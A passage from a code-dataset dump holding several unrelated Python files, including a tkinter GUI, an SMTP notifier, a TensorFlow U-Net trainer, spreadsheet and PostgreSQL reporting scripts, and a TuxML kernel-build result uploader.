str(year)\n df.WeekID = pd.to_datetime(df.WeekID)\n df = df[df[\"chart_Year\"] == year]\n #df[\"Top_Genre\"] = df[\"Top_Genre\"].astype(\"str\")\n translate = {\"alternative\": \"2\", \"country\": \"5\", \"electronic\": \"9\",\n \"hip-hop\": \"4\", \"latin\": \"8\", \"other\": \"1\", \"pop\": \"6\",\n \"r&b\": \"7\", \"reggae\": \"0\", \"rock\": \"3\"}\n df[\"Master_Genre\"] = df.Top_Genre.apply(lambda x: translate[x])\n df.loc[:, [\"NameJS\"]] = df[\"Song\"] + \" - \" + df[\"Performer\"] + df[\"Master_Genre\"]\n df = df.loc[:, [\"WeekID\", \"Week_No\", \"SongID\", \"Week Position\", \"NameJS\"]]\n data_table = df.pivot_table(index=\"NameJS\", columns=\"Week_No\", values=\"Week Position\").T\n data_table = data_table.fillna(value=22)\n data_table = data_table.reset_index()\n data_table.Week_No = data_table.Week_No.astype(np.int32)\n if data_table.Week_No[0] == 0:\n data_table.Week_No = data_table.Week_No + 1\n response = data_table.to_json(orient=\"records\")\n return response\n\n","sub_path":"src/visualization/workdata.py","file_name":"workdata.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"147133793","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 7 16:43:58 2018\n\n@author: kennedy\n\"\"\"\n\nfrom AlphabetSoup import AlphabetSoup\nimport tkinter as tk\n\n \nwindow = tk.Tk()\nwindow.title('AlphabetSoup')\nwindow.geometry(\"600x300\")\n\n\ndef result():\n msg = textvar.get()\n alph = textvar2.get()\n ASOUP = AlphabetSoup(msg, alph)\n return label2.config(text = str(ASOUP.Alphabet()))\n \n#label\nlabel1 = tk.Label(window, text='AlphabetSoup', font=(\"Helvetica Bold italic\", 16), justify='left', fg = \"light green\", bg = \"dark green\")\nlabel1.grid(row = 0, column = 0)\n\nlabel1 = tk.Label(window, text='Message', font=(\"Helvetica\", 12), justify='left', fg=\"red\")\nlabel1.grid(row = 1, column = 0)\n#Entries\ntextvar = tk.StringVar()\nentry1 = tk.Entry(window, textvariable = textvar, width = 50)\nentry1.grid(row = 1, column = 1)\n\n\nlabel1 = tk.Label(window, text='Alphabet', font=(\"Helvetica\", 12), justify='left', fg=\"red\")\nlabel1.grid(row = 2, column = 0)\n#Alphabet\ntextvar2 = tk.StringVar()\nentry2 = tk.Entry(window, textvariable = textvar2, width = 50)\nentry2.grid(row = 2, column = 1)\n\n\nbut1 = tk.Button(window, text = 'Exexute', command = result)\nbut1.grid(row = 3, column = 0)\n\n\nlabel2 = tk.Label(window, text='', font=(\"Helvetica\", 12), justify='left', fg=\"red\", width = 50)\nlabel2.grid(row = 4, column = 1, rowspan = 5)\nwindow.mainloop()\n","sub_path":"EXE/Application.py","file_name":"Application.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"642107406","text":"import smtplib\nimport logging\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nimport threading\nimport time\n\n\nclass email(threading.Thread):\n\n def __init__(self, host, port, login, pwd, db_worker):\n super().__init__()\n logger = logging.getLogger('Email sender')\n main_log_lvl = logging.DEBUG\n logger.setLevel(main_log_lvl)\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n formatter = logging.Formatter('[%(levelname)s] - %(filename)s - %(funcName)s - %(asctime)s - %(message)s')\n ch.setFormatter(formatter)\n logger.addHandler(ch)\n self.name = 'email'\n self.db_worker = db_worker\n self.logger = logger\n self.host = host\n self.port = port\n self.login = login\n self.from_addr = login\n self.pwd = pwd\n self.logger.info('Email sender created '+str(self))\n self.email_subject = 'Falco'\n\n def __str__(self):\n return '[Email sender] host={}, port={}'.format(self.host,\n self.port)\n\n def run(self):\n while True:\n time.sleep(3)\n self.process_new_events()\n\n def send_mail(self, text, to_addr, event):\n self.logger.debug('send_mail started')\n msg = MIMEMultipart('mixed')\n msg['Subject'] = self.email_subject\n msg['From'] = self.from_addr\n msg['To'] = to_addr\n\n part = MIMEText(text, 'plain')\n msg.attach(part)\n try:\n if self.port == 465:\n s = smtplib.SMTP_SSL(self.host, self.port)\n else:\n s = smtplib.SMTP(self.host, self.port)\n # Авторизация\n if self.login and self.pwd:\n s.login(self.login, self.pwd)\n # Отправка письма\n s.sendmail(self.from_addr, to_addr, msg.as_string())\n s.quit()\n\n except smtplib.SMTPRecipientsRefused:\n self.logger.error(str(self)+'Invalid send mail '+to_addr)\n self.db_worker.set_wrong_email(to_addr)\n self.db_worker.set_send_error(message_id=event[0])\n if self.logger.level == logging.DEBUG:\n raise\n return False\n except Exception:\n self.logger.error(str(self)+' Could not send email '+to_addr)\n if self.logger.level == logging.DEBUG:\n raise\n return False\n return True\n\n def process_new_events(self):\n events = self.db_worker.get_unsended_events(self.name)\n for event in events:\n if event[1] == 'OUT':\n direction = 'Выход'\n if event[1] == 'IN':\n direction = 'Вход'\n text = '{}, {} - {}'.format(event[2], direction,\n event[3].strftime(\"%Y-%m-%d %H:%M:%S\"))\n to_addr = event[4]\n if self.send_mail(text, to_addr, event=event):\n self.logger.debug('Сообщение успешно отправлено ' + to_addr)\n self.db_worker.set_send_state(event[0])\n else:\n self.logger.error('Ошибка отправки сообщения ' + to_addr)\n","sub_path":"email_send_parallel.py","file_name":"email_send_parallel.py","file_ext":"py","file_size_in_byte":3287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"260225425","text":"import csv\n\ndef prettyPrint(d:dict):\n print(\"This program computes summary statistics for the Iris Dataset\")\n print(\"-----------------------------------------------------------------------\")\n word_list = d.keys()\n print(\"{:27s}\".format(\"Species:\"), end=\"\")\n for w in word_list:\n print(\"{:15s}\".format(w), end=\"\")\n print()\n print(\"-----------------------------------------------------------------------\")\n print(\"Attributes (cm): \")\n \n fields = [\"Avg Petal length:\",\"Avg Petal width:\",\"Avg Sepal length:\",\"Avg Sepal width:\"]\n #Prints\n for i in range(4):\n print(\"{:18s}\".format(fields[i]),end=\"\")\n print(\"{:15.2f}\".format(d[\"Setosa\"][i]),end=\"\")\n print(\"{:15.2f}\".format(d[\"Versicolor\"][i]),end=\"\")\n print(\"{:15.2f}\".format(d[\"Virginica\"][i]),end=\"\")\n print()\n\n#This will calculate the average of the rows, and it will return it as a list.\ndef average(l:list):\n sepalLength = []\n sepalwidth = []\n petalLength = []\n petalwidth = []\n for lista in l:\n sepalLength.append(float(lista[0]))\n sepalwidth.append(float(lista[1]))\n petalLength.append(float(lista[2]))\n petalwidth.append(float(lista[3]))\n \n return [sum(petalLength)/len(petalLength), sum(petalwidth)/len(petalwidth), sum(sepalLength)/len(sepalLength), sum(sepalwidth)/len(sepalwidth)]\n\nrows = []\n#open file and reads\nepa_file = open(\"iris.csv\", \"r\",encoding=\"windows-1252\")\nreader = csv.reader(epa_file)\nread = epa_file.readline().rstrip('\\n') #skips first row \nfor row in reader:\n rows.append(row)\n\n#Lists\nsetosa_list = []\nversicolor_list = []\nvirginica_list = []\n#fill the list \nfor row in rows:\n temp_lista = row\n if \"setosa\" in temp_lista:\n setosa_list.append([float(i) for i in temp_lista[:-1]])\n elif \"versicolor\" in temp_lista:\n versicolor_list.append([float(i) for i in temp_lista[:-1]])\n else:\n virginica_list.append([float(i) for i in temp_lista[:-1]])\n \n#Create dictionary \niris = {}\niris[\"Setosa\"] = average(setosa_list)\niris[\"Versicolor\"] = average(versicolor_list)\niris[\"Virginica\"] = average(virginica_list)\n#Prints\nprettyPrint(iris)\n\n\n\n\n\n\n\n\n\n\n","sub_path":"A5/A5_csanchez2020.py","file_name":"A5_csanchez2020.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"280307949","text":"import os\nimport logging\n\nimport tensorflow as tf\nfrom tf_unet.callbacks import CSVCallback, PlotCallback, ValidationLoss, AllUncertaintyVisualizer\n\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s %(message)s')\nEPSILON = 1e-5\n\n\nclass Trainer(object):\n \"\"\"\n Trains a unet instance\n :param net: the bunet instance to train\n :param norm_grads: (optional) true if normalized gradients should be added to the summaries\n :param optimizer: (optional) name of the optimizer to use (momentum or adam)\n :param opt_kwargs: (optional) kwargs passed to the learning rate (momentum opt) and to the optimizer\n \"\"\"\n\n def __init__(self, net, norm_grads=False, optimizer=\"momentum\", opt_kwargs={}, wd=0., batch_size=2):\n self.net = net\n self.norm_grads = norm_grads\n self.optimizer = optimizer\n self.opt_kwargs = opt_kwargs\n self.wd = wd\n self.batch_size = batch_size\n\n def _get_optimizer(self, training_iters, global_step):\n if self.optimizer == \"momentum\":\n learning_rate = self.opt_kwargs.pop(\"lr\", 0.2)\n decay_rate = self.opt_kwargs.pop(\"decay\", 0.95)\n momentum = self.opt_kwargs.pop(\"momentum\", 0.2)\n self.learning_rate_node = tf.train.exponential_decay(learning_rate=learning_rate,\n global_step=global_step,\n decay_steps=training_iters,\n decay_rate=decay_rate,\n staircase=True)\n optimizer = tf.train.MomentumOptimizer(learning_rate=self.learning_rate_node, momentum=momentum,\n **self.opt_kwargs).minimize(self.net.loss,\n global_step=global_step)\n elif self.optimizer == \"adam\":\n learning_rate = self.opt_kwargs.pop(\"lr\", 0.001)\n decay_rate = self.opt_kwargs.pop(\"decay\", 0.95)\n self.learning_rate_node = tf.train.exponential_decay(learning_rate=learning_rate,\n global_step=global_step,\n decay_steps=training_iters,\n decay_rate=decay_rate,\n staircase=True)\n optimizer = tf.train.AdamOptimizer(learning_rate=self.learning_rate_node,\n **self.opt_kwargs).minimize(self.net.loss,\n global_step=global_step)\n else:\n raise ValueError('optimizer must be `adam` or `momentum`, you passed: `{}`'.format(self.optimizer))\n\n return optimizer\n\n def _initialize(self, training_iters):\n global_step = tf.Variable(0, trainable=False)\n self.optimizer = self._get_optimizer(training_iters, global_step)\n init_g = tf.global_variables_initializer()\n init_l = tf.local_variables_initializer()\n\n config = tf.ConfigProto(\n gpu_options=tf.GPUOptions(allow_growth=True, force_gpu_compatible=False),\n allow_soft_placement=True)\n\n return init_g, init_l, config\n\n def train(self, train_gen, val_gen, nb_val_steps, output_path, steps_per_epoch=10, epochs=100, dropout=None,\n restore_path=\"\", write_graph=False, viz=False, cca_thresh=0.5, class_weight=None):\n \"\"\"\n Launches training process\n \"\"\"\n save_path = os.path.join(output_path, \"model.cpkt\")\n init_g, init_l, config = self._initialize(steps_per_epoch)\n x_train, y_train = train_gen.get_next()\n\n with tf.Session(config=config) as sess:\n if write_graph:\n tf.train.write_graph(sess.graph_def, output_path, \"graph.pb\", False)\n\n sess.run(init_g)\n sess.run(init_l)\n sess.run(train_gen.initializer)\n sess.run(val_gen.initializer)\n\n if restore_path is not \"\":\n self.net.restore(sess, tf.train.latest_checkpoint(restore_path))\n\n loss_cbk = ValidationLoss(val_gen, nb_val_steps, cca_thresh, self.batch_size)\n csv_cbk = CSVCallback(os.path.join(output_path, 'validation.csv'), steps_per_epoch * self.batch_size)\n plot_cbk = PlotCallback(os.path.join(output_path, 'validation.csv'), output_path)\n if viz:\n viz_cbk = AllUncertaintyVisualizer(sess, val_gen, output_path)\n\n logging.info(\"Start optimization\")\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord)\n cw = class_weight['start']\n min_loss = 1000\n for epoch in range(epochs):\n logging.info(\"Class Weighting {}\".format(cw))\n total_loss = 0\n total_dice = 0\n for step in range((epoch * steps_per_epoch), ((epoch + 1) * steps_per_epoch)):\n batch_x, batch_y = sess.run([x_train, y_train])\n logging.debug(\n 'batch_x.shape {} batch_y.shape {} dropout {}'.format(batch_x.shape, batch_y.shape, dropout))\n # Run optimization\n _, loss, dce, prd_min, prd_max, lr, gradients = sess.run((self.optimizer,\n self.net.loss,\n self.net.dice,\n self.net.prd_min,\n self.net.prd_max,\n self.learning_rate_node,\n self.net.gradients_node),\n feed_dict={self.net.x: batch_x,\n self.net.y: batch_y,\n self.net.keep_prob: dropout,\n self.net.class_weight: cw})\n\n total_loss += loss\n total_dice += dce\n cw *= class_weight['decay']\n if cw < class_weight['stop']:\n cw = class_weight['stop']\n train_stats = {'train_loss': total_loss / steps_per_epoch,\n 'train_dice': total_dice / steps_per_epoch,\n 'lr': lr,\n 'prd_min': prd_min,\n 'prd_max': prd_max}\n self.output_epoch_stats(epoch + 1, train_stats)\n if viz:\n viz_cbk(sess, self.net, epoch)\n val_stats = loss_cbk(sess, self.net, epoch + 1, cw)\n val_stats_str = \" Validation \"\n for key, value in val_stats.items():\n val_stats_str += \"{}= {:.6f} \".format(key, value)\n val_stats.update(train_stats)\n csv_cbk(epoch + 1, val_stats)\n plot_cbk()\n logging.info(val_stats_str)\n\n if min_loss > val_stats['loss']:\n logging.info(\" New best epoch! Saving model\")\n min_loss = val_stats['loss']\n save_path = self.net.save(sess, save_path)\n\n coord.request_stop()\n coord.join(threads)\n logging.info(\"Optimization Finished!\")\n\n return save_path\n\n @staticmethod\n def output_epoch_stats(epoch, train_stats):\n logging.info(\"Epoch {}, Average loss: {:.8f}, Average dice: {:.8f}, learning rate: {:.8f}, \"\n \"prd_min: {:.6f}, prd_max: {:.6f}\".\n format(epoch, train_stats['train_loss'], train_stats['train_dice'], train_stats['lr'],\n train_stats['prd_min'], train_stats['prd_max']))\n\n @staticmethod\n def output_minibatch_stats(step, loss, dce):\n logging.info(\"Iter {}, Minibatch Loss= {:.8f}, Minibatch Dice= {:.8f}\".format(step, loss, dce))\n\n","sub_path":"tf_unet/training/train_tfr.py","file_name":"train_tfr.py","file_ext":"py","file_size_in_byte":8632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"425066045","text":"import xlrd\nimport numpy as np\nimport csv\nimport pprint\n\ndatafile = \"data/2013_ERCOT_Hourly_Load_Data.xls\"\n\ndef parse_file(datafile):\n workbook = xlrd.open_workbook(datafile)\n sheet = workbook.sheet_by_index(0)\n data = {}\n # process all rows that contain station data\n for n in range(1, 9):\n station = sheet.cell_value(0, n)\n cv = np.array(sheet.col_values(n, start_rowx=1))\n\n maxval = np.max(cv)\n maxtime = sheet.cell_value(np.argmax(cv)+1, 0)\n realtime = xlrd.xldate_as_tuple(maxtime, 0)\n data[station] = {\"maxtime\": realtime,\n \"maxval\": maxval}\n\n pprint.pprint(data)\n return data\n\ndef save_file(data, filename):\n with open(filename, \"w\") as f:\n w = csv.writer(f, delimiter='|')\n w.writerow([\"Station\", \"Year\", \"Month\", \"Day\", \"Hour\", \"Max Load\"])\n for station in data:\n year, month, day, hour, _ , _= data[station][\"maxtime\"]\n w.writerow([station, year, month, day, hour, data[station][\"maxval\"]])\n\nsave_file(parse_file(datafile), \"output/PS1-xlrd.csv\")\n","sub_path":"PS1-xlrd.py","file_name":"PS1-xlrd.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"289250214","text":"#!/usr/bin/python3\n\nimport os\n\ndownload_base_url = \"ftp://ftp.ncbi.nih.gov/snp/latest_release/JSON/refsnp-chr\"\n\n\n# create downloading URLs for dbSNP\nurl_list1 = [download_base_url + str(i) for i in list(range(1,23)) + ['MT', 'X', 'Y']]\n\nurl_list = [base_url + \".json.bz2\" for base_url in url_list1]\n\nfile_list1 = ['refsnp-chr' + str(i) for i in list(range(1,23)) + ['MT', 'X', 'Y']]\n\nfile_list = [base_file_name + \".json.bz2\" for base_file_name in file_list1]\n\nfor url,file_name in zip(url_list,file_list):\n command = \"curl \" + url + \" --retry 10 --retry-max-time 0 -C - > ./data/\" + file_name\n print(\"wget -c \" + url)\n","sub_path":"download_dbsnp.py","file_name":"download_dbsnp.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"392713471","text":"import psycopg2\nimport csv\nfrom collections import OrderedDict\n\ndb_name = 'test'\nuser = 'stright'\n\n\ndef connect():\n return psycopg2.connect(database=db_name, user=user)\n\n\ndef get_forestries_and_compartments(conn):\n with conn.cursor() as cur:\n cur.execute(\"\"\"\n SELECT lesnich.tx,\n array_agg(DISTINCT CAST(nomkvr AS INTEGER))\n FROM phl1\n INNER JOIN lesnich ON phl1.forestry = lesnich.kl\n GROUP BY lesnich.tx\n ORDER BY lesnich.tx\n \"\"\")\n lease = cur.fetchall()\n return lease\n\n\ndef get_species(conn, forestry, compartment_num):\n purpose_categories = OrderedDict(\n [('защитные', '1%'), ('эксплуатационные', '2%')])\n with conn.cursor() as cur:\n species_lst = []\n for category in purpose_categories:\n cur.execute(\"\"\"\n SELECT porody.tx\n FROM phl1\n INNER JOIN lesnich ON phl1.forestry = lesnich.kl\n INNER JOIN porody ON phl1.prbpor = porody.kl\n WHERE phl1.prbpor != 0 AND nomkvr = '%s'\n AND lesnich.tx = %s AND katzem < 1200\n AND CAST(katzas AS VARCHAR) LIKE %s\n GROUP BY porody.tx\n ORDER BY SUM(zapvyd) DESC\n LIMIT 1\"\"\", (compartment_num, forestry,\n purpose_categories[category]))\n try:\n species = cur.fetchone()\n except TypeError:\n species = cur.fetchone()[0]\n species_lst.append(species)\n return species_lst\n\n\ndef get_compartment_totals(conn, forestry, compartment_num, purpose_category):\n \"\"\"\n Get compartment square and volume for certain purpose category\n \"\"\"\n with conn.cursor() as cur:\n cur.execute(\"\"\"\n SELECT SUM(plsvyd), SUM(zapvyd)\n FROM phl1\n INNER JOIN lesnich ON phl1.forestry = lesnich.kl\n WHERE nomkvr = '%s' AND lesnich.tx = %s\n AND CAST(katzas AS VARCHAR) LIKE %s\n \"\"\", (compartment_num, forestry, purpose_category))\n square, volume = cur.fetchone()\n return round(square, 1) if square else None, volume\n\n\n# with only covered squares\n# def get_age_groups(conn, forestry, compartment_num):\n# age_groups = OrderedDict(\n# [('молодняки', (1, 2)), ('средневозрастные', (3, 4)),\n# ('приспевающие', (5,)), ('спелые', (6, 7))])\n# purpose_categories = OrderedDict(\n# [('защитные', '1%'), ('эксплуатационные', '2%')])\n# output = []\n# with conn.cursor() as cur:\n# for category in purpose_categories:\n# category_lst = []\n# for age_group in age_groups:\n# cur.execute(\"\"\"\n# SELECT ROUND(SUM(plsvyd), 1), SUM(zapvyd)\n# FROM phl1\n# INNER JOIN lesnich\n# ON phl1.forestry = lesnich.kl\n# WHERE grpvoz IN %s AND nomkvr = '%s'\n# AND CAST(katzas AS VARCHAR) LIKE %s\n# AND katzem < 1200 AND lesnich.tx = %s\n# \"\"\", (age_groups[age_group], compartment_num,\n# purpose_categories[category], forestry))\n# data = cur.fetchone()\n# category_lst.extend(list(data))\n# total_square = sum((i for i in category_lst[::2] if i))\n# total_volume = sum((i for i in category_lst[1::2] if i))\n# category_lst.insert(0, total_square)\n# category_lst.insert(1, total_volume)\n# output.append(category_lst)\n# return output\n\n# whole squares\ndef get_age_groups(conn, forestry, compartment_num):\n age_groups = OrderedDict(\n [('молодняки', (1, 2)), ('средневозрастные', (3, 4)),\n ('приспевающие', (5,)), ('спелые', (6, 7))])\n purpose_categories = OrderedDict(\n [('защитные', '1%'), ('эксплуатационные', '2%')])\n output = []\n with conn.cursor() as cur:\n for category in purpose_categories:\n category_lst = []\n for age_group in age_groups:\n cur.execute(\"\"\"\n SELECT ROUND(SUM(plsvyd), 1), SUM(zapvyd)\n FROM phl1\n INNER JOIN lesnich\n ON phl1.forestry = lesnich.kl\n WHERE grpvoz IN %s AND nomkvr = '%s'\n AND CAST(katzas AS VARCHAR) LIKE %s\n AND katzem < 1200 AND lesnich.tx = %s\n \"\"\", (age_groups[age_group], compartment_num,\n purpose_categories[category], forestry))\n data = cur.fetchone()\n category_lst.extend(list(data))\n total_square, total_volume = get_compartment_totals(\n conn, forestry, compartment_num, purpose_categories[category])\n category_lst.insert(0, total_square)\n category_lst.insert(1, total_volume)\n output.append(category_lst)\n return output\n\n# def get_forestry_total(start_lst, lst_for_addition):\n# start_lst_new = [0 for i in range(len(lst_for_addition))]\\\n# if not start_lst else start_lst[:]\n# output_lst = list(\n# map(sum, zip(start_lst_new,\n# [i if i else bool(i) for i in lst_for_addition])))\n# return output_lst\n\ndef get_total(lst, flag):\n # Flag may be 'forestry' or 'total'\n strings = [('Итого по защитным лесам', 'Итого по эксплуатационным лесам',\n 'Итого по участковому лесничеству'),\n ('Всего по защитным лесам', 'Всего по эксплуатационным лесам',\n 'Всего по участковому лесничеству')]\n if flag == 'forestry':\n forestry_protection_sum = [strings[0][0], '', '']\n forestry_exploitative_sum = [strings[0][1], '', '']\n forestry_total = [strings[0][2], '', '']\n else:\n forestry_protection_sum = [strings[1][0], '', '']\n forestry_exploitative_sum = [strings[1][1], '', '']\n forestry_total = [strings[1][2], '', '']\n protective = [i[3:] for i in lst if i[0] == 'защитные']\n exploitative = [i[3:] for i in lst if i [0] == 'эксплуатационные']\n forestry_protection_sum.extend(\n [sum(map(lambda x: x if x else 0, i)) for i in zip(*protective)])\n forestry_exploitative_sum.extend(\n [sum(map(lambda x: x if x else 0, i)) for i in zip(*exploitative)])\n forestry_total.extend(\n [sum(map(lambda x: x if x else 0, i)) for i in zip(*protective + exploitative)])\n return forestry_protection_sum, forestry_exploitative_sum, forestry_total\n\n\n\ndef get_strings_for_purpose_in_compartment(conn, forestry, compartment_num):\n compartment = []\n species = get_species(conn, forestry, compartment_num)\n age_groups = get_age_groups(conn, forestry, compartment_num)\n purpose = [('защитные', age_groups[0], species[0]),\n ('эксплуатационные', age_groups[1], species[1])]\n for category in purpose:\n # for only covered squares\n # if (category[1][0] == 0 and category[1][1] == 0):\n # for whole compartments\n if (category[1][0] is None and category[1][1] is None):\n continue\n lst = [category[0], compartment_num, category[2][0].lower()\n if category[2] else None]\n lst.extend(category[1])\n compartment.append(lst)\n return compartment\n\n\ndef write(result):\n print('Writing file...')\n with open('../../age_groups.csv', 'w') as f_out:\n writer = csv.writer(f_out, delimiter=';')\n for row in result:\n writer.writerow(row)\n\n\ndef main():\n result = []\n conn = connect()\n try:\n with conn:\n forestries = get_forestries_and_compartments(conn)\n total = []\n for _forestry in forestries:\n forestry = []\n print(_forestry[0])\n result.append([_forestry[0]])\n for _compartment in _forestry[1]:\n print('Processing... {} - {}'.format(\n _forestry[0], _compartment))\n compartment = get_strings_for_purpose_in_compartment(\n conn, _forestry[0], _compartment)\n result.extend(compartment)\n forestry.extend(compartment)\n total.extend(compartment)\n totals = get_total(forestry, flag='forestry')\n result.extend([totals[0], totals[1], totals[2]])\n totals = get_total(total, flag='total')\n result.extend([totals[0], totals[1], totals[2]])\n finally:\n conn.close()\n write(result)\n return result\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"project/judge.py","file_name":"judge.py","file_ext":"py","file_size_in_byte":9392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"63136438","text":"hours = raw_input('Enter hours: ')\r\ntry:\r\n hours = float(hours)\r\n rate = raw_input('Enter Rate: ')\r\n rate = float(rate) \r\n\r\n if (hours <= 40.0) :\r\n pay = hours * rate\r\n else :\r\n overtime_hours = hours - 40.0 \r\n overtime_rate = rate * 1.5 \r\n pay = (40.0 * rate) + (overtime_hours * overtime_rate)\r\n\r\n print ('Pay: '), pay\r\n\r\nexcept:\r\n print ('Error, please enter numeric input')","sub_path":"exer32.py","file_name":"exer32.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"600033520","text":"#!/usr/bin/python3\n\n# -*- coding: utf-8 -*-\n\n# Copyright 2018 TuxML Team\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n## @file tuxml_sendDB.py\n# @author LE LURON Pierre\n# @author LEBRETON Mickaël\n# @author LE MASLE Alexis\n# @copyright Apache License 2.0\n# @brief The file contains the functions used to send compilation and test results\n# to the database\n\n\nimport time\nimport os\nimport MySQLdb\nimport bz2\nimport tuxml_common as tcom\nimport tuxml_settings as tset\nimport configCompress as compress\nimport subprocess\n\n## @author LE LURON Pierre\n#\n# @brief Get the size of the newly compiled kernel\n#\n# @returns 0 can't find kernel image\n# @returns >0 size of kernel in bytes\n# @deprecated\ndef get_kernel_size():\n possible_filenames = [\"vmlinux\", \"vmlinux.bin\", \"vmlinuz\", \"zImage\", \"bzImage\"]\n for filename in possible_filenames:\n full_filename = tset.PATH + \"/\" + filename\n if os.path.isfile(full_filename):\n tcom.pprint(2, \"kernel found: \" + filename)\n return os.path.getsize(full_filename)\n return 0\n\n## @author LE MASLE Alexis\n#\n# @brief Get the \"vmlinux\" size\n#\n# @details New version of get_kernel_size() which was inaccurate, only get the \"vmlinux\" size\n# without looking for others name possible\n#\n# @returns -1 can not find the vmlinux file\n# @returns >0 size of kernel \"vmlinux\" in bytes\ndef get_size_kernel():\n full_filename = tset.PATH + \"/vmlinux\"\n if os.path.isfile(full_filename):\n return os.path.getsize(full_filename)\n return -1\n\n\n\n\n## @author LE MASLE Alexis\n#\n# @brief Get the size of the 18 differents compressed kernels\n#\n# @returns The string formated as \"compressed_name_1 : size1 , compressed_name_2 : size2 ...\"\n# @returns \"compressed_name_1 : 0 , compressed_name_2 : 0 ...\" when no compressed_sizes could be found\ndef get_compressed_sizes():\n tcom.pprint(2, \"Computing compressed kernels\")\n compression = [\"GZIP\",\"BZIP2\",\"LZMA\",\"XZ\",\"LZO\",\"LZ4\"]\n extension = [\".gz\", \".bz2\", \".lzma\", \".xz\", \".lzo\", \".lz4\"]\n res = \"\"\n\n for c in compression:\n if compress.enable(c, tset.PATH) == -1:\n if res == \"\":\n res = res + c + \" : -1\"\n else:\n res = res + \" , \" + c + \" : -1\"\n else:\n subprocess.run(\"make -C \" + tset.PATH + \" -j\" + str(tset.NB_CORES), shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n size = \"\"\n vm = \"\"\n bzImage = \"\"\n\n try:\n size = subprocess.check_output(\"wc -c \" + tset.PATH + \"/arch/x86/boot/compressed/*\" + extension[compression.index(c)], shell=True, stderr=subprocess.DEVNULL).decode().replace(\"\\n\", \"\").split()[0]\n except:\n size = \"\"\n\n try:\n vm = subprocess.check_output(\"wc -c \" + tset.PATH + \"/arch/x86/boot/compressed/vmlinux\", shell=True, stderr=subprocess.DEVNULL).decode().replace(\"\\n\", \"\").split()[0]\n except:\n vm = \"\"\n\n try:\n bzImage = subprocess.check_output(\"wc -c \" + tset.PATH + \"/arch/x86/boot/bzImage\", shell=True, stderr=subprocess.DEVNULL).decode().replace(\"\\n\", \"\").split()[0]\n except:\n bzImage = \"\"\n\n\n if size == \"\":\n size = \"-1\"\n if vm == \"\":\n vm = \"-1\"\n if bzImage == \"\":\n bzImage = \"-1\"\n\n if res == \"\":\n res = res + c + \"-bzImage : \" + bzImage + \" , \" + c + \"-vmlinux : \" + vm + \" , \" + c + \" : \" + size\n else:\n res = res + \" , \" + c + \"-bzImage : \" + bzImage + \" , \" + c + \"-vmlinux : \" + vm + \" , \" + c + \" : \" + size\n\n return res\n\n\n\n\n## @author LE LURON Pierre\n# @author LEBRETON Mickaël\n# @author LE MASLE Alexis\n#\n# @brief Sends compilation and boot results to the mysql database\n#\n# @param compile_time compilation time\n# @param boot_time boot time\n#\n# @returns -1 can't send info to db\n# @returns 0 successfully sent info to db\ndef send_data(compile_time, boot_time):\n tcom.pprint(2, \"Sending compilation and tests results to database\")\n\n # Log files\n logfiles = [tset.PATH + \"/.config\",\n tset.PATH + tset.STD_LOG_FILE,\n tset.PATH + tset.ERR_LOG_FILE]\n\n for logfile in logfiles:\n if not os.path.isfile(logfile):\n tcom.pprint(1, \"{} not found\".format(logfile))\n return -1\n\n try:\n socket = MySQLdb.connect(tset.HOST, tset.DB_USER, tset.DB_PASSWD, tset.DB_NAME)\n cursor = socket.cursor()\n\n # Values for request\n # date = time.gmtime(time.time())\n sizes_compressed = get_compressed_sizes()\n date = time.localtime(time.time())\n args = {\n \"compilation_date\": time.strftime(\"%Y-%m-%d %H:%M:%S\", date),\n \"compilation_time\": str(compile_time),\n \"config_file\": bz2.compress(open(logfiles[0], \"rb\").read()),\n \"stdlog_file\": bz2.compress(open(logfiles[1], \"rb\").read()),\n \"errlog_file\": bz2.compress(open(logfiles[2], \"rb\").read()),\n \"core_size\": str(get_size_kernel()),\n \"compressed_sizes\": sizes_compressed,\n \"dependencies\": open(\"/TuxML/dependences.txt\", \"r\").read()\n }\n\n for dico in tset.TUXML_ENV:\n args.update(tset.TUXML_ENV[dico])\n\n keys = \",\".join(args.keys())\n values = ','.join(['%s'] * len(args.values()))\n\n query = \"INSERT INTO Compilations({}) VALUES({})\".format(keys, values)\n cursor.execute(query, list(args.values()))\n\n query = \"SELECT cid FROM Compilations ORDER BY cid DESC LIMIT 1\"\n cursor.execute(query)\n cid = cursor.fetchone()[0]\n\n if tset.INCREMENTAL_MOD and tset.BASE_CONFIG_ID != 0:\n query = \"INSERT INTO Incremental_compilations(cid_incmod, cid_origin) VALUES (%s, %s)\"\n cursor.execute(query, [cid, tset.BASE_CONFIG_ID])\n\n query = \"INSERT INTO Tests(cid, test_date, boot_time) VALUES (%s, %s, %s)\"\n 